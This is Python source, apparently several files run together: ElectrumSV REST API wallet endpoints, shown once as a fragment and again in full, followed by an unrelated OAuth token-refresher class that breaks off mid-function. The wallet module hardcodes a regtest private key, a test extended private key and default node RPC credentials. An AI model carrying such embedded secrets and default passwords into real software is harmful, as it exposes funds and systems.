required_vars=[VNAME.WALLET_NAME, VNAME.ACCOUNT_ID, VNAME.TXIDS]) wallet_name = vars[VNAME.WALLET_NAME] account_id = vars[VNAME.ACCOUNT_ID] txids = vars[VNAME.TXIDS] account = self._get_account(wallet_name, account_id) results = [] if txids: for txid in txids: try: self.remove_transaction(bitcoinx.hex_str_to_hash(txid), account) results.append({"id": txid, "result": 200}) except Fault as e: if e.code == Errors.DISABLED_FEATURE_CODE: results.append({"id": txid, "result": 400, "description": Errors.DISABLED_FEATURE_MESSAGE}) if e.code == Errors.TRANSACTION_NOT_FOUND_CODE: results.append({"id": txid, "result": 400, "description": Errors.TRANSACTION_NOT_FOUND_MESSAGE}) return self.batch_response({"items": results}) except Fault as e: return fault_to_http_response(e) async def get_transaction_history(self, request: web.Request) -> web.Response: """get transactions - currently only used for debugging via 'postman'""" try: vars = await self.argparser(request, required_vars=[VNAME.WALLET_NAME, VNAME.ACCOUNT_ID]) wallet_name = vars[VNAME.WALLET_NAME] account_id = vars[VNAME.ACCOUNT_ID] tx_flags = vars.get(VNAME.TX_FLAGS) account = self._get_account(wallet_name, account_id) response = self._history_dto(account, tx_flags) return good_response({"history": response}) except Fault as e: return fault_to_http_response(e) async def fetch_transaction(self, request: web.Request) -> web.Response: """get transaction""" try: required_vars = [VNAME.WALLET_NAME, VNAME.ACCOUNT_ID, VNAME.TXID] vars = await self.argparser(request, required_vars) wallet_name = vars[VNAME.WALLET_NAME] account_id = vars[VNAME.ACCOUNT_ID] txid = vars[VNAME.TXID] account = self._get_account(wallet_name, account_id) response = self._fetch_transaction_dto(account, tx_id=txid) return good_response(response) except Fault as e: return fault_to_http_response(e) async def create_tx(self, request: web.Request) -> web.Response: """ General purpose transaction builder. - Should handle any kind of output script.( see bitcoinx.address for utilities for building p2pkh, multisig etc outputs as hex strings.) """ account = None tx = None try: tx, account, password = await self._create_tx_helper(request) response = {"txid": tx.txid(), "rawtx": str(tx)} return good_response(response) except Fault as e: if tx and tx.is_complete() and e.code != Fault(Errors.ALREADY_SENT_TRANSACTION_CODE): self.cleanup_tx(tx, account) return fault_to_http_response(e) except Exception as e: if tx and tx.is_complete(): self.cleanup_tx(tx, account) return fault_to_http_response( Fault(code=Errors.GENERIC_INTERNAL_SERVER_ERROR, message=str(e))) async def create_and_broadcast(self, request): account = None tx = None try: tx, account, password = await self._create_tx_helper(request) try: result = await self._broadcast_transaction(str(tx), tx.hash(), account) except aiorpcx.jsonrpc.RPCError as e: raise Fault(Errors.AIORPCX_ERROR_CODE, e.message) self.prev_transaction = result response = {"txid": result} self.logger.debug("successful broadcast for %s", result) return good_response(response) except Fault as e: if tx and tx.is_complete() and e.code != Errors.ALREADY_SENT_TRANSACTION_CODE: self.cleanup_tx(tx, account) return fault_to_http_response(e) except Exception as e: self.logger.exception("unexpected error in create_and_broadcast handler") if tx and tx.is_complete() and not ( isinstance(e, AssertionError) and str(e) == 'duplicate set not supported'): self.cleanup_tx(tx, account) return fault_to_http_response( Fault(code=Errors.GENERIC_INTERNAL_SERVER_ERROR, message=str(e))) async def broadcast(self, request: web.Request) -> web.Response: """Broadcast a rawtx (hex string) to the network. """ try: required_vars = [VNAME.WALLET_NAME, VNAME.ACCOUNT_ID, VNAME.RAWTX] vars = await self.argparser(request, required_vars=required_vars) wallet_name = vars[VNAME.WALLET_NAME] index = vars[VNAME.ACCOUNT_ID] rawtx = vars[VNAME.RAWTX] account = self._get_account(wallet_name, index) tx = Transaction.from_hex(rawtx) self.raise_for_duplicate_tx(tx) try: result = await self._broadcast_transaction(rawtx, tx.hash(), account) except aiorpcx.jsonrpc.RPCError as e: raise Fault(Errors.AIORPCX_ERROR_CODE, e.message) self.prev_transaction = result response = {"txid": result} return good_response(response) except Fault as e: return fault_to_http_response(e) async def split_utxos(self, request: web.Request) -> web.Response: account = None tx = None try: required_vars = [VNAME.WALLET_NAME, VNAME.ACCOUNT_ID, VNAME.SPLIT_COUNT, VNAME.PASSWORD] vars = await self.argparser(request, required_vars=required_vars) wallet_name = vars[VNAME.WALLET_NAME] account_id = vars[VNAME.ACCOUNT_ID] split_count = vars[VNAME.SPLIT_COUNT] # optional split_value = vars.get(VNAME.SPLIT_VALUE, 10000) password = vars.get(VNAME.PASSWORD, None) desired_utxo_count = vars.get(VNAME.DESIRED_UTXO_COUNT, 2000) require_confirmed = vars.get(VNAME.REQUIRE_CONFIRMED, False) account = self._get_account(wallet_name, account_id) # Approximate size of a transaction with one P2PKH input and one P2PKH output. base_fee = self.app_state.config.estimate_fee(TransactionSize(203, 0)) loop = asyncio.get_event_loop() # run in thread - CPU intensive code partial_coin_selection = partial(self.select_inputs_and_outputs, self.app_state.config, account, base_fee, split_count=split_count, desired_utxo_count=desired_utxo_count, require_confirmed=require_confirmed, split_value=split_value) split_result = await loop.run_in_executor(self.txb_executor, partial_coin_selection) if isinstance(split_result, Fault): return fault_to_http_response(split_result) self.logger.debug("split result: %s", split_result) utxos, outputs, attempted_split = split_result if not attempted_split: fault = Fault(Errors.SPLIT_FAILED_CODE, Errors.SPLIT_FAILED_MESSAGE) return fault_to_http_response(fault) tx, tx_context = account.make_unsigned_transaction(utxos, outputs) future = account.sign_transaction(tx, password, tx_context) if future is not None: future.result() self.raise_for_duplicate_tx(tx) # broadcast result = await self._broadcast_transaction(str(tx), tx.hash(), account) self.prev_transaction = result response = {"txid": result} return good_response(response) except Fault as e: if tx and tx.is_complete() and e.code != Fault(Errors.ALREADY_SENT_TRANSACTION_CODE): self.cleanup_tx(tx, account) return fault_to_http_response(e) except InsufficientCoinsError as e: self.logger.debug(Errors.INSUFFICIENT_COINS_MESSAGE) return fault_to_http_response( Fault(Errors.INSUFFICIENT_COINS_CODE, Errors.INSUFFICIENT_COINS_MESSAGE)) except Exception as e: if tx and tx.is_complete(): self.cleanup_tx(tx, account) return fault_to_http_response( Fault(code=Errors.GENERIC_INTERNAL_SERVER_ERROR, message=str(e)))
# TODO(REST-API-Refactoring) Notes follow. # - All these functions should be moved out of the example and into the code base proper. We should # make a very simple example that extends it as a daemon app. # - Remove the variables like VERSION, NETWORK, .... a good idea in theory but they overcomplicate # things in practice. # - In `handler_tools.argparser` it should check the type of each variable as it extracts them # either from the route or the body and convert them at point of extraction or raise a fault # on the first found failed conversion. # - The only time a wallet name should be passed in the route is at load time for the filename. # Beyond that we should use it's ephemeral id, and we should perhaps consider replacing that # with a GUID. We should also consider dropping the `.sqlite` suffix from wallet name. # - Add a `pay` API where the caller just provides a destination address and the wallet manages # everything and just returns some result to indicate success. import asyncio import atexit from functools import partial import json import os from pathlib import Path import shutil import tempfile from typing import Any, cast, List, Optional from aiohttp import web import aiorpcx import bitcoinx import requests from electrumsv.app_state import app_state from electrumsv.bitcoin import COINBASE_MATURITY, script_template_to_string from electrumsv.constants import AccountCreationType, CredentialPolicyFlag, KeystoreTextType, \ RECEIVING_SUBPATH from electrumsv.keystore import instantiate_keystore_from_text from electrumsv.storage import WalletStorage from electrumsv.transaction import Transaction from electrumsv.logs import logs from electrumsv.networks import BitcoinRegtest, Net from electrumsv.restapi import Fault, good_response, fault_to_http_response from electrumsv.startup import base_dir from electrumsv.types import TransactionSize from .errors import Errors from .handler_utils import ExtendedHandlerUtils, VNAME, InsufficientCoinsError, \ WalletInstanceKind, WalletInstancePaths from .txstatewebsocket import TxStateWebSocket logger = logs.get_logger("app_state") # Makes this code docker-friendly (can access a node on host with "host.docker.internal" BITCOIN_NODE_HOST = os.environ.get("BITCOIN_NODE_HOST") or "127.0.0.1" BITCOIN_NODE_PORT = os.environ.get("BITCOIN_NODE_PORT") or 18332 BITCOIN_NODE_RPCUSER = os.environ.get("BITCOIN_NODE_RPCUSER") or "rpcuser" BITCOIN_NODE_RPCPASSWORD = os.environ.get("BITCOIN_NODE_RPCPASSWORD") or "rpcpassword" BITCOIN_NODE_URI = f"http://{BITCOIN_NODE_RPCUSER}:{BITCOIN_NODE_RPCPASSWORD}" \ f"@{BITCOIN_NODE_HOST}:{BITCOIN_NODE_PORT}" def node_rpc_call(method_name: str, *args: Any) -> Any: result = None try: if not args: params = [] else: params = [*args] payload = json.dumps({"jsonrpc": "2.0", "method": f"{method_name}", "params": params, "id": 0}) result = requests.post(BITCOIN_NODE_URI, data=payload) result.raise_for_status() return result except requests.exceptions.HTTPError as e: if result is not None: logger.error(result.json()['error']['message']) raise e # hardcoded # - WIF private_key: cT3G2vJGRNbpmoCVXYPYv2JbngzwtznLvioPPJXu39jfQeLpDuX5 # - Pubkey hash: mfs8Y8gAwC2vJHCeSXkHs6LF5nu5PA7nxc REGTEST_FUNDS_PRIVATE_KEY = bitcoinx.PrivateKey( bytes.fromhex('a2d9803c912ab380c1491d3bd1aaab34ca06742d7885a224ec8d386182d26ed2'), coin=BitcoinRegtest) REGTEST_FUNDS_PRIVATE_KEY_WIF = REGTEST_FUNDS_PRIVATE_KEY.to_WIF() REGTEST_FUNDS_PUBLIC_KEY: bitcoinx.PublicKey = REGTEST_FUNDS_PRIVATE_KEY.public_key REGTEST_P2PKH_ADDRESS: str = REGTEST_FUNDS_PUBLIC_KEY.to_address(coin=Net.COIN).to_string() def regtest_get_mined_balance() -> int: # Calculate matured balance payload = json.dumps({"jsonrpc": "2.0", "method": "listunspent", "params": [1, 1_000_000_000, [REGTEST_P2PKH_ADDRESS]], "id": 1}) result = requests.post(BITCOIN_NODE_URI, data=payload) result.raise_for_status() utxos = result.json()['result'] matured_balance = sum( utxo['amount'] for utxo in utxos if utxo['confirmations'] > COINBASE_MATURITY) logger.debug("matured coins in regtest slush fund=%s", matured_balance) return matured_balance def regtest_topup_account(receive_address: bitcoinx.P2PKH_Address, amount: int=25) \ -> Optional[str]: matured_balance = regtest_get_mined_balance() while matured_balance < amount: nblocks = 1 if matured_balance == 0: nblocks = 200 result = node_rpc_call("generatetoaddress", nblocks, REGTEST_P2PKH_ADDRESS) if result.status_code == 200: logger.debug(f"generated {nblocks}: {result.json()['result']}") matured_balance = regtest_get_mined_balance() # Note: for bare multi-sig support may need to craft rawtxs manually via bitcoind's # 'signrawtransaction' jsonrpc method - AustEcon payload = json.dumps({"jsonrpc": "2.0", "method": "sendtoaddress", "params": [receive_address.to_string(), amount], "id": 0}) result = requests.post(BITCOIN_NODE_URI, data=payload) if result.status_code != 200: raise requests.exceptions.HTTPError(result.text) txid = cast(str, result.json()['result']) logger.info("topped up wallet with %s coins to receive address='%s'. txid=%s", amount, receive_address.to_string(), txid) return txid def regtest_generate_nblocks(nblocks: int, address: str) -> List[str]: payload1 = json.dumps( {"jsonrpc": "2.0", "method": "generatetoaddress", "params": [nblocks, address], "id": 0}) result = requests.post(BITCOIN_NODE_URI, data=payload1) result.raise_for_status() block_hashes = [] for block_hash in cast(List[str], result.json()['result']): block_hashes.append(block_hash) logger.debug("newly mined blockhash: %s", block_hash) logger.debug("mined %s new blocks (funds to address=%s). use the " "'regtest_topup_account' method to fund your account", nblocks, address) return block_hashes class ExtensionEndpoints(ExtendedHandlerUtils): """Extension endpoints for ElectrumSV REST API""" routes = [] # PATHS VERSION = "/v1" NETWORK = "/{network}" BASE = VERSION + NETWORK + "/dapp" # avoid conflicts with built-ins WALLETS_TLD = BASE + "/wallets" WALLETS_PARENT = WALLETS_TLD + "/{wallet_name}" WALLETS_ACCOUNT = WALLETS_PARENT + "/{account_id}" ACCOUNT_TXS = WALLETS_ACCOUNT + "/txs" ACCOUNT_UTXOS = WALLETS_ACCOUNT + "/utxos" def __init__(self): super().__init__() self.logger = logs.get_logger("restapi-dapp") self.app_state = app_state # easier to monkeypatch for testing self.add_routes() self.temp_dir = tempfile.TemporaryDirectory() def cleanup(self) -> None: atexit.register(self.temp_dir.cleanup) def add_routes(self): self.routes = [ web.get(self.WALLETS_TLD, self.get_all_wallets), web.post("/v1/{network}/dapp/wallets/load_instanced", self.load_instanced_wallet), web.get(self.WALLETS_PARENT, self.get_parent_wallet), web.post(self.WALLETS_PARENT + "/load_wallet", self.load_wallet), web.get(self.WALLETS_ACCOUNT, self.get_account), web.post("/v1/{network}/dapp/wallets/{wallet_id}/{account_id}/payment_request", self.create_payment_request), web.get(self.ACCOUNT_UTXOS + "/coin_state", self.get_coin_state), web.get(self.ACCOUNT_UTXOS, self.get_utxos), web.get(self.ACCOUNT_UTXOS + "/balance", self.get_balance), web.delete(self.ACCOUNT_TXS, self.remove_txs), web.get(self.ACCOUNT_TXS + "/history", self.get_transaction_history), web.post(self.ACCOUNT_TXS + "/fetch", self.fetch_transaction), web.post(self.ACCOUNT_TXS + "/create", self.create_tx), web.post(self.ACCOUNT_TXS + "/create_and_broadcast", self.create_and_broadcast), web.post(self.ACCOUNT_TXS + "/broadcast", self.broadcast), web.post(self.ACCOUNT_TXS + "/split_utxos", self.split_utxos), web.view(self.ACCOUNT_TXS + "/websocket/text-events", TxStateWebSocket), ] if app_state.config.get('regtest'): self.routes.extend([ web.post(self.WALLETS_ACCOUNT + "/topup_account", self.topup_account), web.post(self.WALLETS_ACCOUNT + "/generate_blocks", self.generate_blocks), web.post(self.WALLETS_PARENT + "/create_new_wallet", self.create_new_wallet), ]) # ----- Extends electrumsv/restapi_endpoints ----- # async def get_all_wallets(self, request: web.Request) -> web.Response: try: all_parent_wallets = self._get_all_wallets(self.wallets_path) response = all_parent_wallets return good_response({"wallets": response}) except Fault as e: return fault_to_http_response(e) async def get_parent_wallet(self, request: web.Request) -> web.Response: """Overview of parent wallet and accounts""" try: vars = await self.argparser(request, required_vars=[VNAME.WALLET_NAME]) wallet_name = vars[VNAME.WALLET_NAME] wallet = self._get_parent_wallet(wallet_name) accounts = self._accounts_dto(wallet) response = {"parent_wallet": wallet_name, "accounts": accounts} return good_response(response) except Fault as e: return fault_to_http_response(e) async def load_instanced_wallet(self, request: web.Request) -> web.Response: """ This copies a pre-generated wallet file to a temporary location and loads it. It can only be called once for each wallet instance kind and will error if the instance file name is in use. We do not want duplicated wallets reusing keys, it is problems waiting to happen. The reason we do this via ids, is that we do not want to allow users to load wallets from arbitrary paths. """ try: vars = await self.argparser(request, required_vars=[VNAME.PASSWORD, VNAME.WALLET_INSTANCE_ID]) valid_instance_ids = set(item.value for item in WalletInstanceKind) wallet_instance_id = cast(int, vars[VNAME.WALLET_INSTANCE_ID]) if wallet_instance_id not in valid_instance_ids: raise Fault(message="Unknown wallet instance id") relative_wallet_path = WalletInstancePaths[wallet_instance_id] wallet_path = os.path.join(base_dir, relative_wallet_path) if not os.path.exists(wallet_path): raise Fault(message="Instanced wallet path invalid") wallet_filename = os.path.basename(wallet_path) instanced_wallet_path = os.path.join(self.temp_dir.name, wallet_filename) if os.path.exists(instanced_wallet_path): raise Fault(message="Instanced wallet in use") shutil.copyfile(wallet_path, instanced_wallet_path) wallet = await self._load_wallet(instanced_wallet_path, vars[VNAME.PASSWORD], enforce_wallet_directory=False) accounts = self._accounts_dto(wallet) return good_response({ "wallet_id": wallet.get_id(), "accounts": accounts }) except Fault as e: return fault_to_http_response(e) async def load_wallet(self, request: web.Request) -> web.Response: try: vars = await self.argparser(request, required_vars=[VNAME.PASSWORD, VNAME.WALLET_NAME]) wallet_name = vars[VNAME.WALLET_NAME] wallet = await self._load_wallet(wallet_name, vars[VNAME.PASSWORD]) accounts = self._accounts_dto(wallet) return good_response({ "wallet_id": wallet.get_id(), "parent_wallet": wallet_name, "accounts": accounts }) except Fault as e: return fault_to_http_response(e) async def create_new_wallet(self, request: web.Request) -> web.Response: """only for regtest for the moment...""" try: vars = await self.argparser(request, required_vars=[VNAME.PASSWORD, VNAME.WALLET_NAME], check_wallet_availability=False) create_filepath = str(Path(self.wallets_path).joinpath(vars[VNAME.WALLET_NAME])) self.check_if_wallet_exists(create_filepath) storage = WalletStorage.create(create_filepath, vars[VNAME.PASSWORD]) storage.close() app_state.credentials.set_wallet_password(create_filepath, vars[VNAME.PASSWORD], CredentialPolicyFlag.FLUSH_AFTER_WALLET_LOAD) parent_wallet = self.app_state.daemon.load_wallet(create_filepath) assert parent_wallet is not None # create an account for the Wallet with the same password via an imported seed text_type = KeystoreTextType.EXTENDED_PRIVATE_KEY text_match = 'tprv8ZgxMBicQKsPd4wsdaJ11eH84eq4hHLX1K6Mx8EQQhJzq8jr25WH1m8hgGkCqnks' \ 'JDCZPZbDoMbQ6QtroyCyn5ZckCmsLeiHDb1MAxhNUHN' keystore = instantiate_keystore_from_text(text_type, text_match, vars[VNAME.PASSWORD], derivation_text=None, passphrase='') parent_wallet.create_account_from_keystore(AccountCreationType.IMPORTED, keystore) await self._load_wallet(vars[VNAME.WALLET_NAME], vars[VNAME.PASSWORD]) response = {"new_wallet": create_filepath} return good_response(response) except Fault as e: return fault_to_http_response(e) async def get_account(self, request: web.Request) -> web.Response: """Overview of a single 'account""" try: vars = await self.argparser(request, required_vars=[VNAME.WALLET_NAME, VNAME.ACCOUNT_ID]) wallet_name = vars[VNAME.WALLET_NAME] account_id = vars[VNAME.ACCOUNT_ID] account = self._get_account(wallet_name, account_id) response = self._account_dto(account) return good_response(response) except Fault as e: return fault_to_http_response(e) async def topup_account(self, request): """only for regtest""" try: vars = await self.argparser(request, required_vars=[VNAME.WALLET_NAME, VNAME.ACCOUNT_ID]) wallet_name = vars[VNAME.WALLET_NAME] account_id = vars[VNAME.ACCOUNT_ID] amount = vars.get(VNAME.AMOUNT, 25) account = self._get_account(wallet_name, account_id) receive_key = account.get_fresh_keys(RECEIVING_SUBPATH, 1)[0] receive_address = account.get_script_template_for_derivation( account.get_default_script_type(), receive_key.derivation_type, receive_key.derivation_data2) txid = regtest_topup_account(receive_address, amount) response = {"txid": txid} return good_response(response) except Fault as e: return fault_to_http_response(e) async def generate_blocks(self, request): """only for regtest""" try: vars = await self.argparser(request, required_vars=[VNAME.WALLET_NAME, VNAME.ACCOUNT_ID]) nblocks = vars.get(VNAME.NBLOCKS, 1) txid = regtest_generate_nblocks(nblocks, REGTEST_P2PKH_ADDRESS) response = {"txid": txid} return good_response(response) except Fault as e: return fault_to_http_response(e) async def create_payment_request(self, request: web.Request) -> web.Response: try: vars = await self.argparser(request, required_vars=[VNAME.WALLET_ID, VNAME.ACCOUNT_ID, VNAME.MESSAGE ]) wallet_id = vars[VNAME.WALLET_ID] account_id = vars[VNAME.ACCOUNT_ID] message = vars[VNAME.MESSAGE] if not len(message): raise Fault(message="Empty message") wallet = self._get_wallet_by_id(wallet_id) account = self._get_account_from_wallet(wallet, account_id) future, key_data = account.create_payment_request(message) rows = await asyncio.wrap_future(future) if len(rows) != 1: raise Fault(message="Error creating the payment request") script_type = account.get_default_script_type() script_template = account.get_script_template_for_derivation( script_type, key_data.derivation_type, key_data.derivation_data2) if script_template is None: raise Fault(message="Error creating the payment destination") text = script_template_to_string(script_template) return good_response({ "script_type": script_type.name, "destination": text, }) except Fault as e: return fault_to_http_response(e) async def get_coin_state(self, request: web.Request) -> web.Response: """get coin state (unconfirmed and confirmed coin count)""" try: vars = await self.argparser(request, required_vars=[VNAME.WALLET_NAME, VNAME.ACCOUNT_ID]) wallet_name = vars[VNAME.WALLET_NAME] account_id = vars[VNAME.ACCOUNT_ID] account = self._get_account(wallet_name, account_id) response = self._coin_state_dto(account) return good_response(response) except Fault as e: return fault_to_http_response(e) async def get_utxos(self, request: web.Request) -> web.Response: try: vars = await self.argparser(request, required_vars=[VNAME.WALLET_NAME, VNAME.ACCOUNT_ID]) wallet_name = vars[VNAME.WALLET_NAME] account_id = vars[VNAME.ACCOUNT_ID] exclude_frozen = vars.get(VNAME.EXCLUDE_FROZEN, False) confirmed_only = vars.get(VNAME.CONFIRMED_ONLY, False) mature = vars.get(VNAME.MATURE, True) account = self._get_account(wallet_name, account_id) utxos = account.get_transaction_outputs_with_key_data(exclude_frozen=exclude_frozen, confirmed_only=confirmed_only, mature=mature) result = self._utxo_dto(utxos) response = {"utxos": result} return good_response(response) except Fault as e: return fault_to_http_response(e) async def get_balance(self, request: web.Request) -> web.Response: """get confirmed, unconfirmed and coinbase balances""" try: vars = await self.argparser(request, required_vars=[VNAME.WALLET_NAME, VNAME.ACCOUNT_ID]) wallet_name = vars[VNAME.WALLET_NAME] account_id = vars[VNAME.ACCOUNT_ID] account = self._get_account(wallet_name, account_id) response = self._balance_dto(wallet=account) return good_response(response) except Fault as e: return fault_to_http_response(e) async def remove_txs(self, request: web.Request) -> web.Response: # follows this spec https://opensource.zalando.com/restful-api-guidelines/#152 """This might be used to clean up after creating many transactions that were never sent.""" try: vars = await self.argparser(request, required_vars=[VNAME.WALLET_NAME, VNAME.ACCOUNT_ID, VNAME.TXIDS]) wallet_name = vars[VNAME.WALLET_NAME] account_id = vars[VNAME.ACCOUNT_ID] txids = vars[VNAME.TXIDS] account = self._get_account(wallet_name, account_id) results = [] if txids: for txid in txids: try: self.remove_transaction(bitcoinx.hex_str_to_hash(txid), account) results.append({"id": txid, "result": 200}) except Fault as e: if e.code == Errors.DISABLED_FEATURE_CODE: results.append({"id": txid, "result": 400, "description": Errors.DISABLED_FEATURE_MESSAGE}) if e.code == Errors.TRANSACTION_NOT_FOUND_CODE: results.append({"id": txid, "result": 400, "description": Errors.TRANSACTION_NOT_FOUND_MESSAGE}) return self.batch_response({"items": results}) except Fault as e: return fault_to_http_response(e) async def get_transaction_history(self, request: web.Request) -> web.Response: """get transactions - currently only used for debugging via 'postman'""" try: vars = await self.argparser(request, required_vars=[VNAME.WALLET_NAME, VNAME.ACCOUNT_ID]) wallet_name = vars[VNAME.WALLET_NAME] account_id = vars[VNAME.ACCOUNT_ID] tx_flags = vars.get(VNAME.TX_FLAGS) account = self._get_account(wallet_name, account_id) response = self._history_dto(account, tx_flags) return good_response({"history": response}) except Fault as e: return fault_to_http_response(e) async def fetch_transaction(self, request: web.Request) -> web.Response: """get transaction""" try: required_vars = [VNAME.WALLET_NAME, VNAME.ACCOUNT_ID, VNAME.TXID] vars = await self.argparser(request, required_vars) wallet_name = vars[VNAME.WALLET_NAME] account_id = vars[VNAME.ACCOUNT_ID] txid = vars[VNAME.TXID] account = self._get_account(wallet_name, account_id) response = self._fetch_transaction_dto(account, tx_id=txid) return good_response(response) except Fault as e: return fault_to_http_response(e) async def create_tx(self, request: web.Request) -> web.Response: """ General purpose transaction builder. - Should handle any kind of output script.( see bitcoinx.address for utilities for building p2pkh, multisig etc outputs as hex strings.) """ account = None tx = None try: tx, account, password = await self._create_tx_helper(request) response = {"txid": tx.txid(), "rawtx": str(tx)} return good_response(response) except Fault as e: if tx and tx.is_complete() and e.code != Fault(Errors.ALREADY_SENT_TRANSACTION_CODE): self.cleanup_tx(tx, account) return fault_to_http_response(e) except Exception as e: if tx and tx.is_complete(): self.cleanup_tx(tx, account) return fault_to_http_response( Fault(code=Errors.GENERIC_INTERNAL_SERVER_ERROR, message=str(e))) async def create_and_broadcast(self, request): account = None tx = None try: tx, account, password = await self._create_tx_helper(request) try: result = await self._broadcast_transaction(str(tx), tx.hash(), account) except aiorpcx.jsonrpc.RPCError as e: raise Fault(Errors.AIORPCX_ERROR_CODE, e.message) self.prev_transaction = result response = {"txid": result} self.logger.debug("successful broadcast for %s", result) return good_response(response) except Fault as e: if tx and tx.is_complete() and e.code != Errors.ALREADY_SENT_TRANSACTION_CODE: self.cleanup_tx(tx, account) return fault_to_http_response(e) except Exception as e: self.logger.exception("unexpected error in create_and_broadcast handler") if tx and tx.is_complete() and not ( isinstance(e, AssertionError) and str(e) == 'duplicate set not supported'): self.cleanup_tx(tx, account) return fault_to_http_response( Fault(code=Errors.GENERIC_INTERNAL_SERVER_ERROR, message=str(e))) async def broadcast(self, request: web.Request) -> web.Response: """Broadcast a rawtx (hex string) to the network. """ try: required_vars = [VNAME.WALLET_NAME, VNAME.ACCOUNT_ID, VNAME.RAWTX] vars = await self.argparser(request, required_vars=required_vars) wallet_name = vars[VNAME.WALLET_NAME] index = vars[VNAME.ACCOUNT_ID] rawtx = vars[VNAME.RAWTX] account = self._get_account(wallet_name, index) tx = Transaction.from_hex(rawtx) self.raise_for_duplicate_tx(tx) try: result = await self._broadcast_transaction(rawtx, tx.hash(), account) except aiorpcx.jsonrpc.RPCError as e: raise Fault(Errors.AIORPCX_ERROR_CODE, e.message) self.prev_transaction = result response = {"txid": result} return good_response(response) except Fault as e: return fault_to_http_response(e) async def split_utxos(self, request: web.Request) -> web.Response: account = None tx = None try: required_vars = [VNAME.WALLET_NAME, VNAME.ACCOUNT_ID, VNAME.SPLIT_COUNT, VNAME.PASSWORD] vars = await self.argparser(request, required_vars=required_vars) wallet_name = vars[VNAME.WALLET_NAME] account_id = vars[VNAME.ACCOUNT_ID] split_count = vars[VNAME.SPLIT_COUNT] # optional split_value = vars.get(VNAME.SPLIT_VALUE, 10000) password = vars.get(VNAME.PASSWORD, None) desired_utxo_count = vars.get(VNAME.DESIRED_UTXO_COUNT, 2000) require_confirmed = vars.get(VNAME.REQUIRE_CONFIRMED, False) account = self._get_account(wallet_name, account_id) # Approximate size of a transaction with one P2PKH input and one P2PKH output. base_fee = self.app_state.config.estimate_fee(TransactionSize(203, 0)) loop = asyncio.get_event_loop() # run in thread - CPU intensive code partial_coin_selection = partial(self.select_inputs_and_outputs, self.app_state.config, account, base_fee, split_count=split_count, desired_utxo_count=desired_utxo_count, require_confirmed=require_confirmed, split_value=split_value) split_result = await loop.run_in_executor(self.txb_executor, partial_coin_selection) if isinstance(split_result, Fault): return fault_to_http_response(split_result) self.logger.debug("split result: %s", split_result) utxos, outputs, attempted_split = split_result if not attempted_split: fault = Fault(Errors.SPLIT_FAILED_CODE, Errors.SPLIT_FAILED_MESSAGE) return fault_to_http_response(fault) tx, tx_context = account.make_unsigned_transaction(utxos, outputs) future = account.sign_transaction(tx, password, tx_context) if future is not None: future.result() self.raise_for_duplicate_tx(tx) # broadcast result = await self._broadcast_transaction(str(tx), tx.hash(), account) self.prev_transaction = result response = {"txid": result} return good_response(response) except Fault as e: if tx and tx.is_complete() and e.code != Fault(Errors.ALREADY_SENT_TRANSACTION_CODE): self.cleanup_tx(tx, account) return fault_to_http_response(e) except InsufficientCoinsError as e: self.logger.debug(Errors.INSUFFICIENT_COINS_MESSAGE) return fault_to_http_response( Fault(Errors.INSUFFICIENT_COINS_CODE, Errors.INSUFFICIENT_COINS_MESSAGE)) except Exception as e: if tx and tx.is_complete(): self.cleanup_tx(tx, account) return fault_to_http_response( Fault(code=Errors.GENERIC_INTERNAL_SERVER_ERROR, message=str(e)))
import concurrent from base import settings, logger from base.redis_db import get_redis from base.utils import rate_limited from base.constants import DEFAULT_REFRESH_INTERVAL, DEFAULT_RATE_LIMIT, DEFAULT_THREAD_MAX_WORKERS, \ DEFAULT_BEFORE_EXPIRES import asyncio import requests import threading import datetime import time import traceback from typing import Iterable class TokenRefresherManager(object): def __init__(self, implementer=None): self.interval = settings.config_refresh.get('interval_seconds', DEFAULT_REFRESH_INTERVAL) # default 60 sec. self.client_id = settings.client_id self.loop = asyncio.new_event_loop() self.before_expires = settings.config_refresh.get('before_expires_seconds', DEFAULT_BEFORE_EXPIRES) self.thread = None self.db = get_redis() self.implementer = implementer self._channel_relations = {} self._channel_template = None @property def channel_relations(self): return self._channel_relations @channel_relations.deleter def channel_relations(self): self.channel_relations.clear() @property def channel_template(self): return self._channel_template @channel_template.setter def channel_template(self, value): self._channel_template = value @channel_template.deleter def channel_template(self): self._channel_template = None def start(self): """ If refreshing token is enabled in config file, retrieves conf for refresh in implementor :return: """ try: if settings.config_refresh.get('enabled') is True: logger.info('[TokenRefresher] **** starting token refresher ****') self.thread = threading.Thread(target=self.worker, args=[self.implementer.get_refresh_token_conf()], name="TokenRefresh") self.thread.daemon = True self.thread.start() else: logger.info('[TokenRefresher] **** token refresher is not enabled ****') except NotImplementedError as e: logger.error("[TokenRefresher] NotImplementedError: {}".format(e)) except Exception: logger.alert("[TokenRefresher] Unexpected exception: {} {}".format(traceback.format_exc(limit=5))) def worker(self, conf_data): asyncio.set_event_loop(self.loop) loop = asyncio.get_event_loop() while True: logger.info('[TokenRefresher] new refresh process {}'.format(datetime.datetime.now())) loop.run_until_complete(self.make_requests(conf_data)) time.sleep(self.interval) del self.channel_relations def get_credentials_by_refresh_token(self, refresh_lookup=None): credentials_redis = self.db.full_query('credential-owners/*/channels/*') credentials = {} for cred_dict in credentials_redis: cred_dict['value'] = self.implementer.auth_response(cred_dict['value']) refresh_token = cred_dict['value'].get('refresh_token') if not refresh_lookup or refresh_lookup == refresh_token: try: credentials[refresh_token].append(cred_dict) except KeyError: credentials[refresh_token] = [cred_dict] return credentials if not refresh_lookup or refresh_lookup not in credentials else credentials[refresh_lookup] async def make_requests(self, conf_data: dict): try: logger.info("[TokenRefresher] {} starting {}".format(threading.currentThread().getName(), datetime.datetime.now())) loop = asyncio.get_event_loop() with concurrent.futures.ThreadPoolExecutor(max_workers=DEFAULT_THREAD_MAX_WORKERS) as executor: futures = [ loop.run_in_executor( executor, self.send_request, refresh_token, credentials, conf_data ) for refresh_token, credentials in self.get_credentials_by_refresh_token().items() ] for response in await asyncio.gather(*futures): if response: self.implementer.after_refresh(response) logger.info("[TokenRefresher] {} finishing {}".format(threading.currentThread().getName(), datetime.datetime.now())) except Exception: logger.error(f"[TokenRefresher] Error on make_requests: {traceback.format_exc(limit=5)}") @rate_limited(settings.config_refresh.get('rate_limit', DEFAULT_RATE_LIMIT)) def send_request(self, refresh_token, credentials_list, conf): try: if credentials_list and type(credentials_list) is not list: credentials_list = [credentials_list] if not credentials_list: return try: url = conf['url'] except KeyError as e: logger.error(f'[TokenRefresher] Missing key {e} on refresh conf') return if not url: logger.warning(f'[TokenRefresher] Missing URL conf: {conf}') return headers = conf.get('headers', {}) # try refresh with all credentials in credentials_list until find a valid one for credentials_dict in credentials_list: has_error = False key = credentials_dict['key'] # 